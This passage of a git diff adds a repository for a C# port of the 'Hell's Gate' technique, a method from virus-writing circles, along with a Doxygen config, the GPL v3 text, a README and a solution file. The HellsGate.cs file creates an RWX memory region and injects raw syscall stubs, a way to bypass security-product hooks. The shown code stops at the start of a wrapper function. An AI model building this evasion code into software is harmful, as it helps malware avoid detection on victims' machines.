+EXTRA_SEARCH_MAPPINGS = +#--------------------------------------------------------------------------- +# Configuration options related to the LaTeX output +#--------------------------------------------------------------------------- +GENERATE_LATEX = NO +LATEX_OUTPUT = latex +LATEX_CMD_NAME = +MAKEINDEX_CMD_NAME = makeindex +LATEX_MAKEINDEX_CMD = makeindex +COMPACT_LATEX = NO +PAPER_TYPE = a4 +EXTRA_PACKAGES = +LATEX_HEADER = +LATEX_FOOTER = +LATEX_EXTRA_STYLESHEET = +LATEX_EXTRA_FILES = +PDF_HYPERLINKS = YES +USE_PDFLATEX = YES +LATEX_BATCHMODE = NO +LATEX_HIDE_INDICES = NO +LATEX_SOURCE_CODE = NO +LATEX_BIB_STYLE = plain +LATEX_TIMESTAMP = NO +LATEX_EMOJI_DIRECTORY = +#--------------------------------------------------------------------------- +# Configuration options related to the RTF output +#--------------------------------------------------------------------------- +GENERATE_RTF = NO +RTF_OUTPUT = rtf +COMPACT_RTF = NO +RTF_HYPERLINKS = NO +RTF_STYLESHEET_FILE = +RTF_EXTENSIONS_FILE = +RTF_SOURCE_CODE = NO +#--------------------------------------------------------------------------- +# Configuration options related to the man page output +#--------------------------------------------------------------------------- +GENERATE_MAN = NO +MAN_OUTPUT = man +MAN_EXTENSION = .3 +MAN_SUBDIR = +MAN_LINKS = NO +#--------------------------------------------------------------------------- +# Configuration options related to the XML output +#--------------------------------------------------------------------------- +GENERATE_XML = NO +XML_OUTPUT = xml +XML_PROGRAMLISTING = YES +XML_NS_MEMB_FILE_SCOPE = NO +#--------------------------------------------------------------------------- +# Configuration options related to the DOCBOOK output +#--------------------------------------------------------------------------- +GENERATE_DOCBOOK = NO +DOCBOOK_OUTPUT = docbook +DOCBOOK_PROGRAMLISTING = NO +#--------------------------------------------------------------------------- +# Configuration options for the AutoGen Definitions output +#--------------------------------------------------------------------------- +GENERATE_AUTOGEN_DEF = NO +#--------------------------------------------------------------------------- +# Configuration options related to the Perl module output +#--------------------------------------------------------------------------- +GENERATE_PERLMOD = NO +PERLMOD_LATEX = NO +PERLMOD_PRETTY = YES +PERLMOD_MAKEVAR_PREFIX = +#--------------------------------------------------------------------------- +# Configuration options related to the preprocessor +#--------------------------------------------------------------------------- +ENABLE_PREPROCESSING = YES +MACRO_EXPANSION = NO +EXPAND_ONLY_PREDEF = NO +SEARCH_INCLUDES = YES +INCLUDE_PATH = +INCLUDE_FILE_PATTERNS = +PREDEFINED = +EXPAND_AS_DEFINED = +SKIP_FUNCTION_MACROS = YES +#--------------------------------------------------------------------------- +# Configuration options related to external references +#--------------------------------------------------------------------------- +TAGFILES = +GENERATE_TAGFILE = +ALLEXTERNALS = NO +EXTERNAL_GROUPS = YES +EXTERNAL_PAGES = YES +#--------------------------------------------------------------------------- +# Configuration options related to the dot tool +#--------------------------------------------------------------------------- +CLASS_DIAGRAMS = YES +DIA_PATH = +HIDE_UNDOC_RELATIONS = YES +HAVE_DOT = NO +DOT_NUM_THREADS = 1 +DOT_FONTNAME = Helvetica +DOT_FONTSIZE = 10 +DOT_FONTPATH = +CLASS_GRAPH = YES +COLLABORATION_GRAPH = YES +GROUP_GRAPHS = YES +UML_LOOK = NO +UML_LIMIT_NUM_FIELDS = 10 +TEMPLATE_RELATIONS = NO +INCLUDE_GRAPH = YES +INCLUDED_BY_GRAPH = YES +CALL_GRAPH = NO +CALLER_GRAPH = NO +GRAPHICAL_HIERARCHY = YES +DIRECTORY_GRAPH = YES +DOT_IMAGE_FORMAT = png +INTERACTIVE_SVG = NO +DOT_PATH = +DOTFILE_DIRS = +MSCFILE_DIRS = +DIAFILE_DIRS = +PLANTUML_JAR_PATH = +PLANTUML_CFG_FILE = +PLANTUML_INCLUDE_PATH = +DOT_GRAPH_MAX_NODES = 50 +MAX_DOT_GRAPH_DEPTH = 0 +DOT_TRANSPARENT = NO +DOT_MULTI_TARGETS = YES +GENERATE_LEGEND = YES +DOT_CLEANUP = YES \ No newline at end of file diff --git a/Hells Gate/C# Implementation/LICENSE b/Hells Gate/C# Implementation/LICENSE new file mode 100644 index 0000000..f288702 --- /dev/null +++ b/Hells Gate/C# Implementation/LICENSE @@ -0,0 +1,674 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + Copyright (C) + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. diff --git a/Hells Gate/C# Implementation/README.md b/Hells Gate/C# Implementation/README.md new file mode 100644 index 0000000..0119d24 --- /dev/null +++ b/Hells Gate/C# Implementation/README.md @@ -0,0 +1,11 @@ +## C# Hell's Gate ## +C# Implementation of the Hell's Gate VX Technique +
+
+Link to the paper: https://vxug.fakedoma.in/papers/VXUG/Exclusive/HellsGate.pdf +
PDF also included in this repository. +
+
+Link to the original C implementation: https://github.com/am0nsec/HellsGate +
+
diff --git a/Hells Gate/C# Implementation/SharpHellsGate.sln b/Hells Gate/C# Implementation/SharpHellsGate.sln new file mode 100644 index 0000000..0141a8e --- /dev/null +++ b/Hells Gate/C# Implementation/SharpHellsGate.sln @@ -0,0 +1,25 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.30114.105 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpHellsGate", "SharpHellsGate\SharpHellsGate.csproj", "{F6A46854-FDC2-4F27-9051-5C7BE8E68733}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {F6A46854-FDC2-4F27-9051-5C7BE8E68733}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {F6A46854-FDC2-4F27-9051-5C7BE8E68733}.Debug|Any CPU.Build.0 = Debug|Any CPU + {F6A46854-FDC2-4F27-9051-5C7BE8E68733}.Release|Any CPU.ActiveCfg = Release|Any CPU + {F6A46854-FDC2-4F27-9051-5C7BE8E68733}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {CA2A2F5F-A135-4771-A014-A6F2C0D24538} + EndGlobalSection +EndGlobal diff --git a/Hells Gate/C# Implementation/SharpHellsGate/HellsGate.cs b/Hells Gate/C# Implementation/SharpHellsGate/HellsGate.cs new file mode 100644 index 0000000..745df0a --- /dev/null +++ b/Hells Gate/C# Implementation/SharpHellsGate/HellsGate.cs @@ -0,0 +1,278 @@ +using System; +using SharpHellsGate.Win32; +using System.Runtime.InteropServices; +using System.Collections.Generic; +using System.Reflection; +using System.Runtime.CompilerServices; + +namespace SharpHellsGate { + + /// + /// Main implementation of the Hell's Gate technique. + /// Responsible for generating a RWX memory region, inject and execute system call stubs. + /// + public class HellsGate { + + /// + /// Used to check if the RWX memory region was generated. + /// + private bool IsGateReady { get; set; } = false; + + /// + /// Used as for mutual exclusion while injecting and execution of the system call stub in memory. + /// + private object Mutant { get; set; } = new object(); + + /// + /// + /// + private Dictionary APITable { get; set; } = new Dictionary() { }; + + /// + /// Address of the managed method that was JIT'ed. + /// + private IntPtr MangedMethodAddress { get; set; } = IntPtr.Zero; + + /// + /// Address of the RWX memory region after JIT compiling the managed method. + /// + private IntPtr UnmanagedMethodAddress { get; set; } = IntPtr.Zero; + + /// + /// This function will be JIT at runtime to create RWX memory region. + /// + //// Gate returns either STATUS_SUCCESS or an error status code. + [MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)] + private static UInt32 Gate() { + return new UInt32(); + } + + /// + /// Inject in memory a basic system call stub and return a delegate for execution via un-managed code. + /// + /// The desired delegate Type. + /// The system call to execute. + /// A delegate of to execute the system call. + private T NtInvocation(Int16 syscall) where T: Delegate { + if (!this.IsGateReady || this.UnmanagedMethodAddress == IntPtr.Zero) { + Util.LogError("Unable to inject system call stub"); + return default; + } + + Span stub = stackalloc byte[24] { + 0x4c, 0x8b, 0xd1, // mov r10, rcx + 0xb8, (byte)syscall, (byte)(syscall >> 8), 0x00, 0x00, // mov eax, +0x15 + 0x0f, 0x05, // syscall + 0xc3, // ret + 0xcd, 0x2e, // int 2Eh + 0xc3 // ret + }; + + Marshal.Copy(stub.ToArray(), 0, this.UnmanagedMethodAddress, stub.Length); + return Marshal.GetDelegateForFunctionPointer(this.UnmanagedMethodAddress); + } + + /// + /// Managed wrapper around the NtAllocateVirtualMemory native Windows function + /// + /// A handle for the process for which the mapping should be done. + /// A pointer to a variable that will receive the base address of the allocated region of pages. + /// The number of high-order address bits that must be zero in the base address of the section view. + /// A pointer to a variable that will receive the actual size, in bytes, of the allocated region of pages. + /// A bitmask containing flags that specify the type of allocation to be performed for the 